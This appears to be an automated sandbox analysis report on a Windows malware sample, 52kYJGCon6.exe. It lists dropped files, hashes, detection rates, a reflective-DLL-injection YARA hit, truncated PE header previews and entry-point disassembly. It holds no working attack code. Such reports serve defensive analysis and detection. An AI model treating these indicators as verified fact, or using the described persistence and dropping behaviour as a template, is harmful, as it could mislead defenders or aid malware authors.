Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........................PE..d...#.NV.........." .........,...............................................P.......%....`.........................................`....%...........@...............0...A..............8............................................................................rdata...&.......(..................@..@.rsrc........@.......,..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20760
Entropy (8bit):	7.028263219925353
Encrypted:	false
SSDEEP:	384:JitIlWEhWO5oQpBj0HRN7BXVQHRN7DEp1x09lgezq:w6paqWz8Apsm
MD5:	54A8FCA040976F2AAC779A344B275C80
SHA1:	EA1F01D6DCDF688EB0F21A8CB8A38F03BC777883
SHA-256:	7E90E7ACC69ACA4591CE421C302C7F6CDF8E44F3B4390F66EC43DFF456FFEA29
SHA-512:	CB20BED4972E56F74DE1B7BC50DC1E27F2422DBB302AECB749018B9F88E3E4A67C9FC69BBBB8C4B21D49A530CC8266172E7D237650512AAFB293CDFE06D02228
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........................PE..d...#.NV.........." .........................................................0............`.........................................`...x............ ...................A..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24344
Entropy (8bit):	6.897926491070706
Encrypted:	false
SSDEEP:	384:B42r77WEhWCFQpBj0HRN7SQHRN7oSIlexw40:B42r7DrqWS8o6x0
MD5:	21B509D048418922B92985696710AFCA
SHA1:	C499DD098AAB8C7E05B8B0FD55F994472D527203
SHA-256:	FE7336D2FB3B13A00B5B4CE055A84F0957DAEFDACE94F21B88E692E54B678AC3
SHA-512:	C517B02D4E94CF8360D98FD093BCA25E8AE303C1B4500CF4CF01F78A7D7EF5F581B99A0371F438C6805A0B3040A0E06994BA7B541213819BD07EC8C6251CB9BB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........................PE..d...#.NV.........." .........................................................@......~.....`.........................................`...4............0...................A..............8............................................................................rdata..H...........................@..@.rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25880
Entropy (8bit):	6.843889819511554
Encrypted:	false
SSDEEP:	384:z3vAmiFVhFWEhWGqQpBj0HRN79XJQHRN7/SCMllJXq:zvYjoqW958/ga
MD5:	120A5DC2682CD2A838E0FC0EFD45506E
SHA1:	8710BE5D5E9C878669FF8B25B67FB2DEB32CD77A
SHA-256:	C14F0D929A761A4505628C4EB5754D81B88AA1FDAD2154A2F2B0215B983B6D89
SHA-512:	4330EDF9B84C541E5ED3BB672548F35EFA75C6B257C3215FC29BA6E152294820347517EC9BD6BDE38411EFA9074324A276CF0D7D905ED5DD88E906D78780760C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........................PE..d...#.NV.........." ......... ...............................................@............`.........................................`...a............0...............$...A..............8............................................................................rdata..t...........................@..@.rsrc........0....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25880
Entropy (8bit):	6.8416401850774395
Encrypted:	false
SSDEEP:	768:p5yguNvZ5VQgx3SbwA71IkFZpMHqW74W8Lipsy:p5yguNvZ5VQgx3SbwA71IipMR747fy
MD5:	F22FACA49E4D5D80EC26ED31E7ECD0E0
SHA1:	473BCBFB78E6A63AFD720B5CBE5C55D9495A3D88
SHA-256:	1EB30EA95DAE91054A33A12B1C73601518D28E3746DB552D7CE120DA589D4CF4
SHA-512:	C8090758435F02E3659D303211D78102C71754BA12B0A7E25083FD3529B3894DC3AB200B02A2899418CC6ED3B8F483D36E6C2BF86CE2A34E5FD9AD0483B73040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........................PE..d...#.NV.........." ......... ...............................................@............`.........................................`................0...............$...A..............8............................................................................rdata..............................@..@.rsrc........0....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22296
Entropy (8bit):	6.97368865913958
Encrypted:	false
SSDEEP:	384:SPEzaWEhW/slQpBj0HRN7sVQHRN7gkclsHTyt:Y0YRqWg8jyt
MD5:	2FD0DA47811B8ED4A0ABDF9030419381
SHA1:	46E3F21A9BD31013A804BA45DC90CC22331A60D1
SHA-256:	DE81C4D37833380A1C71A5401DE3AB4FE1F8856FC40D46D0165719A81D7F3924
SHA-512:	2E6F900628809BFD908590FE1EA38E0E36960235F9A6BBCCB73BBB95C71BFD10F75E1DF5E8CF93A682E4ADA962B06C278AFC9123AB5A4117F77D1686FF683D6F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........................PE..d...#.NV.........." .........................................................0............`.........................................`................ ...................A..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20248
Entropy (8bit):	7.0800725103781765
Encrypted:	false
SSDEEP:	384:JBf5WEhWye9HQpBj0HRN7tKQHRN7jsAXOVlTBr:zf5dMHqWtK87U
MD5:	FE1096F1ADE3342F049921928327F553
SHA1:	118FB451AB006CC55F715CDF3B5E0C49CF42FBE0
SHA-256:	88D3918E2F063553CEE283306365AA8701E60FB418F37763B4719F9974F07477
SHA-512:	0A982046F0C93F68C03A9DD48F2BC7AEE68B9EEBEAEA01C3566B2384D0B8A231570E232168D4608A09136BCB2B1489AF802FD0C25348F743F0C1C8955EDD41C1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........................PE..d...#.NV.........." .........................................................0.......0....`.........................................`...^............ ...................A..............8............................................................................rdata..t...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	841697
Entropy (8bit):	5.484581034394053
Encrypted:	false
SSDEEP:	24576:fhidp/tosQNRs54PK4IM7Vw59bfCEnXTR32k:fhidp/tosQNRs54PK4Ip9F5
MD5:	F4981249047E4B7709801A388E2965AF
SHA1:	42847B581E714A407A0B73E5DAB019B104EC9AF2
SHA-256:	B191E669B1C715026D0732CBF8415F1FF5CFBA5ED9D818444719D03E72D14233
SHA-512:	E8EF3FB3C9D5EF8AE9065838B124BA4920A3A1BA2D4174269CAD05C1F318BC9FF80B1C6A6C0F3493E998F0587EF59BE0305BC92E009E67B82836755470BC1B13
Malicious:	false
Preview:	PK..........!...7............._bootlocale.pycU....................................@....z...d.Z.d.d.l.Z.d.d.l.Z.e.j...d...r,d.d.d...Z.nJz.e.j...W.n4..e.k.rj......e.e.d...r\d.d.d...Z.n.d.d.d...Z.Y.n.X.d.d.d...Z.d.S.)...A minimal subset of the locale module used at interpreter startup.(imported by the _io module), in order to reduce startup time...Don't import directly from third-party code; use the `locale` module instead!......N..winTc....................C........t.j.j.r.d.S.t.....d...S.).N..UTF-8.........sys..flags..utf8_mode.._locale.._getdefaultlocale....do_setlocale..r......_bootlocale.py..getpreferredencoding...............r......getandroidapilevelc....................C........d.S.).Nr....r....r....r....r....r....r...............c....................C........t.j.j.r.d.S.d.d.l.}.\|...\|...S.).Nr....r......r....r....r......localer......r....r....r....r....r....r.....................c....................C....6...\|.r.t...t.j.j.r.d.S.t...t.j...}.\|.s2t.j.d.k.r2d.}.\|.S.).Nr......darwin....A

C:\Users\user\AppData\Local\Temp\_MEI3442\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3381792
Entropy (8bit):	6.094908167946797
Encrypted:	false
SSDEEP:	49152:Y4TKuk29SIU6i5fOjPWl+0rOh5PKToEGG9I+q4dNQbZQm9aGupuu9LoeiyPaRb84:YiV+CGQ4dtBMeiJRb8+1CPwDv3uFZjN
MD5:	BF83F8AD60CB9DB462CE62C73208A30D
SHA1:	F1BC7DBC1E5B00426A51878719196D78981674C4
SHA-256:	012866B68F458EC204B9BCE067AF8F4A488860774E7E17973C49E583B52B828D
SHA-512:	AE1BDDA1C174DDF4205AB19A25737FE523DCA6A9A339030CD8A95674C243D0011121067C007BE56DEF4EAEFFC40CBDADFDCBD1E61DF3404D6A3921D196DCD81E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3...3...3...K...3..[...3..[...3..[...3..[...3..U...3...3..{3..qZ...3..qZ..1..qZ...3..qZf..3..qZ...3..Rich.3..................PE..d....k.].........." ......$..........r....................................... 4.......4...`..............................................f...Z3.@.....3.\|.....1.......3. .....3..O..P-,.8............................-,..............P3..............................text...g.$.......$................. ..`.rdata.......0$.......$.............@..@.data...Ax....1..*....0.............@....pdata........1.......1.............@..@.idata...#...P3..$....2.............@..@.00cfg........3.......2.............@..@.rsrc...\|.....3.......2.............@..@.reloc...x....3..z....3.............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.372276555451265
Encrypted:	false
SSDEEP:	384:JYnlpDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYPoBhT/A4:JYe0Vn5Q28J8qsqMttktuTSTWDG4yhRe
MD5:	4424BAF6ED5340DF85482FA82B857B03
SHA1:	181B641BF21C810A486F855864CD4B8967C24C44
SHA-256:	8C1F7F64579D01FEDFDE07E0906B1F8E607C34D5E6424C87ABE431A2322EBA79
SHA-512:	8ADB94893ADA555DE2E82F006AB4D571FAD8A1B16AC19CA4D2EFC1065677F25D2DE5C981473FABD0398F6328C1BE1EBD4D36668EA67F8A5D25060F1980EE7E33
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........3..{]A.{]A.{]A...A.{]A..\@.{]A..\@.{]A.{\A.{]A..X@.{]A..Y@.{]A..^@.{]A..Y@.{]A..^@.{]A..]@.{]A.._@.{]ARich.{]A........................PE..d.....\.........." .....F...$.......I...................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\python38.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4183112
Entropy (8bit):	6.420172758698049
Encrypted:	false
SSDEEP:	49152:wV6CJES/Za2BaobNruDPYRQYK8JCNNtkAz+/Q46VqNo9NYxwCFIInKHJCMjntPNj:MxB/aDUQNtufeNFIKHoMjzkDU
MD5:	D2A8A5E7380D5F4716016777818A32C5
SHA1:	FB12F31D1D0758FE3E056875461186056121ED0C
SHA-256:	59AB345C565304F638EFFA7C0236F26041FD06E35041A75988E13995CD28ACE9
SHA-512:	AD1269D1367F587809E3FBE44AF703C464A88FA3B2AE0BF2AD6544B8ED938E4265AAB7E308D999E6C8297C0C85C608E3160796325286DB3188A3EDF040A02AB7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................................7[.........................................B............c...........Rich............................PE..d.....].........." .........."...............................................B.....f.@...`.........................................@I8.....X.9.\|.....B.......?.P.....?.H.....B. t..p. .T............................. .................X............................text...$........................... ..`.rdata..............................@..@.data........09......"9.............@....pdata..P.....?......2=.............@..@.rsrc.........B......8?.............@..@.reloc.. t....B..v...D?.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26696
Entropy (8bit):	6.101296746249305
Encrypted:	false
SSDEEP:	768:6kYtqIDCNdwhBfAqXuqzz5H1IGqGbWDG4y4:6TnDCNCh93X7zzR1IGqG2y4
MD5:	6AE54D103866AAD6F58E119D27552131
SHA1:	BC53A92A7667FD922CE29E98DFCF5F08F798A3D2
SHA-256:	63B81AF5D3576473C17AC929BEA0ADD5BF8D7EA95C946CAF66CBB9AD3F233A88
SHA-512:	FF23F3196A10892EA22B28AE929330C8B08AB64909937609B7AF7BFB1623CD2F02A041FD9FAB24E4BC1754276BDAFD02D832C2F642C8ECDCB233F639BDF66DD0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................)............................M................M......M......M.E....M......Rich...........PE..d.....].........." .........2......h...............................................a"....`..........................................?..L....@..x....p.......`.......N..H.......,....2..T............................3...............0...............................text...u........................... ..`.rdata.......0......."..............@..@.data........P.......:..............@....pdata.......`.......<..............@..@.rsrc........p.......@..............@..@.reloc..,............L..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1046080
Entropy (8bit):	6.649151787942547
Encrypted:	false
SSDEEP:	24576:L1foGwlaDT22+Pk+j2ZXCE6cctEMmxvSZX0ypCD3:JfoBR2+PfXWrT
MD5:	4E326FEEB3EBF1E3EB21EEB224345727
SHA1:	F156A272DBC6695CC170B6091EF8CD41DB7BA040
SHA-256:	3C60056371F82E4744185B6F2FA0C69042B1E78804685944132974DD13F3B6D9
SHA-512:	BE9420A85C82EEEE685E18913A7FF152FCEAD72A90DDCC2BCC8AB53A4A1743AE98F49354023C0A32B3A1D919BDA64B5D455F6C3A49D4842BBBA4AA37C1D05D67
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........of...5...5...5..5...5...5&..5...5...5...4...5...4...5...4...5...4...5...4..5...5...5...4...5Rich...5........PE..d....]..........." .....:...........a..............................................4m....`A................................................................. ..........@J..............p........................... f..............................................text... 9.......:.................. ..`.rdata..N....P.......>..............@..@.data....&..........................@....pdata....... ......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI3442\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1096264
Entropy (8bit):	5.343512979675051
Encrypted:	false
SSDEEP:	12288:EGe9qQOZ67191SnFRFotduNFBjCmN/XlyCAx9++bBlhJk93cgewrxEeBc0bB:EGe9GK4oYhCc/+9nbDhG2wrxc0bB
MD5:	4C0D43F1A31E76255CB592BB616683E7
SHA1:	0A9F3D77A6E064BAEBACACC780701117F09169AD
SHA-256:	0F84E9F0D0BF44D10527A9816FCAB495E3D797B09E7BBD1E6BD666CEB4B6C1A8
SHA-512:	B8176A180A441FE402E86F055AA5503356E7F49E984D70AB1060DEE4F5F17FCEC9C01F75BBFF75CE5F4EF212677A6525804BE53646CC0D7817B6ED5FD83FD778
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.0v..^%..^%..^%.f.%..^%Tv_$..^%Tv[$..^%TvZ$..^%Tv]$..^%.w_$..^%cx_$..^%.._%N.^%.wS$..^%.w^$..^%.w.%..^%.w\$..^%Rich..^%................PE..d.....].........." .....L...V.......*..............................................-.....`.........................................p...X..............................H........... )..T............................)...............`..p............................text...1J.......L.................. ..`.rdata..>-...`.......P..............@..@.data................~..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1946.exe

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1014784
Entropy (8bit):	6.481015768352334
Encrypted:	false
SSDEEP:	24576:B7p+HXMi+1rY+HTXxkteD+e8tzNwH72X0P8tIZlZx1a3x/UBJ7tGaF:91VHTBKed8tzNwH72X002Zl43WB9g+
MD5:	1A477A5659D817B01A50F2A80CB1D76E
SHA1:	48A07F82C03C9A1B7B3C21CAF356F1C67775E359
SHA-256:	1940BA18ED66DD2F1C3D4DBD2FBF6CF3438BCDEE1E108982FB557461106A8073
SHA-512:	1689881E40ED47C7E2676DA05B82A518220FB7B2626C1365F4855FD5040432029E4F01D6113A8060DCF9657DF31A9DFAE238FA0ADC6FC8A59E2891F971E645FA
Malicious:	true
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J47.+Zd.+Zd.+Zd.SYe.+Zd.S_ek+Zde..d.+Zde.Ye.+Zde.^e.+Zde._e.+Zd.S^e.+Zd..^e.+Zd.].d.+Zd.+[d.*Zd.S[e.+Zd..Se.+Zd..Ze.+Zd..Xe.+ZdRich.+Zd........PE..d.....kg.........."....(.^...>.................@..........................................`.............................................X...h...................$................... ...8..............................@............p...............................text...\|].......^.................. ..`.rdata...D...p...F...b..............@..@.data...`H.......&..................@....pdata..$...........................@..@.reloc...............f..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8AEF.exe

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5915951
Entropy (8bit):	7.986095401359329
Encrypted:	false
SSDEEP:	98304:r+Aq2B/JWHioVQWJuhswoYv5eO0zo0Ahd6y0Naxxv8fqDDAx06btVUJFae/8+qUC:rd0HiouWJysVYvsOaoyMxxvjDDAx0avF
MD5:	543FB2FD6424B11D72633914571E016C
SHA1:	7EAE773DB47C118455F416B5D93E065729D45CF0
SHA-256:	0BC67C0FA17DCADFE8A827CB413C090F67B0CB00A14705D95EC37766DE241665
SHA-512:	590867FEC7C63E0A58BB419464304C4ABEA7936C6030537E851B68CD3CA8FDB847352BBFA111D8867F66FC35148D3BBF56270573BEED891C573679EBAB3C1520
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Xhc.Xhc.Xhc...`._hc...f..hc...g.Rhc...[hc..`.Qhc..g.Ihc..f.phc...b.Shc.Xhb..hc.K.g.Ahc.K.a.Yhc.RichXhc.........PE..d....dkg.........."....(.....X.................@....................................I/[...`.................................................l...x............`..."..............h.......................................@...............P............................text............................... ..`.rdata..B&.......(..................@..@.data....s..........................@....pdata..."...`...$..................@..@.rsrc...............................@..@.reloc..h...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe

Download File

Process:	C:\Users\user\Desktop\52kYJGCon6.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	584192
Entropy (8bit):	6.629905796274471
Encrypted:	false
SSDEEP:	12288:LsZElcXVSjQnA+aanD/oCOJPVDWpOufdtaWsiv6AIEt:zcXVK7+rnD/oCOJPVDWptdgu
MD5:	F5C5C9D5A779AD7077CCA7BEF57E94F0
SHA1:	73F95BE3FBAA28192D8DFECE83F45AEC532EFFF2
SHA-256:	3EB81910BA96D4C0564298528D93071947F0C4CB7C880AD4C5C31C49A41531B1
SHA-512:	9C74521E0BC5F06F7FF06C398D946233F61E0177424E0ED5DD767D8BFC457A34EFD99B119BBBADF195F238C0C3C1F1F2330012D01489B5FE452A0190E044AC5E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P..\.............^..P....^.......^................c.....3]......3]......3]......Rich............................PE..d.....kg.........."......P..........,8.........@.............................`............`..................................................&..........(........6..............P.......................................p............`..P............................text... O.......P.................. ..`.rdata..d....`.......T..............@..@.data....Q...@..."...*..............@....pdata...6.......8...L..............@..@.rsrc...(...........................@..@.reloc..F...........................@..B.x64.....P.......F..............................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\52kYJGCon6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.629905796274471
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	52kYJGCon6.exe
File size:	584'192 bytes
MD5:	f5c5c9d5a779ad7077cca7bef57e94f0
SHA1:	73f95be3fbaa28192d8dfece83f45aec532efff2
SHA256:	3eb81910ba96d4c0564298528d93071947f0c4cb7c880ad4c5c31c49a41531b1
SHA512:	9c74521e0bc5f06f7ff06c398d946233f61e0177424e0ed5dd767d8bfc457a34efd99b119bbbadf195f238c0c3c1f1f2330012d01489b5fe452a0190e044ac5e
SSDEEP:	12288:LsZElcXVSjQnA+aanD/oCOJPVDWpOufdtaWsiv6AIEt:zcXVK7+rnD/oCOJPVDWptdgu
TLSH:	60C48D0B74A121E6F6BAE137C442653AF8BAF47642718707A750DA7B1B133E1AF1DB10
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P..\.............^..P....^.......^................c.....3]......3]......3]......Rich............................PE..d.....kg...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14002382c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x676B06BF [Tue Dec 24 19:08:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3c0878d96ac28fdbe9ddaee4c9d7430e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FEE8D06C268h
dec eax
add esp, 28h
jmp 00007FEE8D065A27h
int3
int3
dec eax
sub esp, 28h
mov ecx, 00000003h
call 00007FEE8D06C20Fh
cmp eax, 01h
je 00007FEE8D065BC9h
mov ecx, 00000003h
call 00007FEE8D06C200h
test eax, eax
jne 00007FEE8D065BCFh
cmp dword ptr [00023168h], 01h
jne 00007FEE8D065BC6h
mov ecx, 000000FCh
call 00007FEE8D065BF5h
mov ecx, 000000FFh
call 00007FEE8D065BEBh
dec eax
add esp, 28h
ret
int3
dec esp
lea ecx, dword ptr [00016405h]
xor edx, edx
dec ebp
mov eax, ecx
inc ecx
cmp ecx, dword ptr [eax]
je 00007FEE8D065BC4h
inc edx
dec ecx
add eax, 10h
dec eax
arpl dx, ax
dec eax
cmp eax, 17h
jc 00007FEE8D065B9Eh
xor eax, eax
ret
dec eax
arpl dx, ax
dec eax
add eax, eax
dec ecx
mov eax, dword ptr [ecx+eax*8+08h]
ret
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], ebp
dec eax
mov dword ptr [esp+20h], esi
push edi
inc ecx
push esi
inc ecx
push edi
dec eax
sub esp, 00000250h
dec eax
mov eax, dword ptr [000216CAh]
dec eax
xor eax, esp
dec eax
mov dword ptr [esp+00000240h], eax
mov edi, ecx
call 00007FEE8D065B51h
xor esi, esi
dec eax
mov ebx, eax
dec eax
test eax, eax
je 00007FEE8D065D4Fh

Rich Headers

Programming Language:

[C++] VS2012 build 50727
[RES] VS2012 build 50727
[LNK] VS2012 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x426b4	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4e000	0x328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x4a000	0x3684	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4f000	0x650	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3ee10	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36000	0x450	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x34f20	0x35000	cf393e20731d2ab7150235375ad86d60	False	0.42164467865566035	data	5.958954410758103	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x36000	0xd564	0xd600	48d33e410136412e3289763134ef8a9d	False	0.3573853679906542	data	4.827771251326852	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x44000	0x5188	0x2200	6a0a7288f88e7665ff9f5b2035c3c43c	False	0.2560891544117647	data	3.276417504620832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
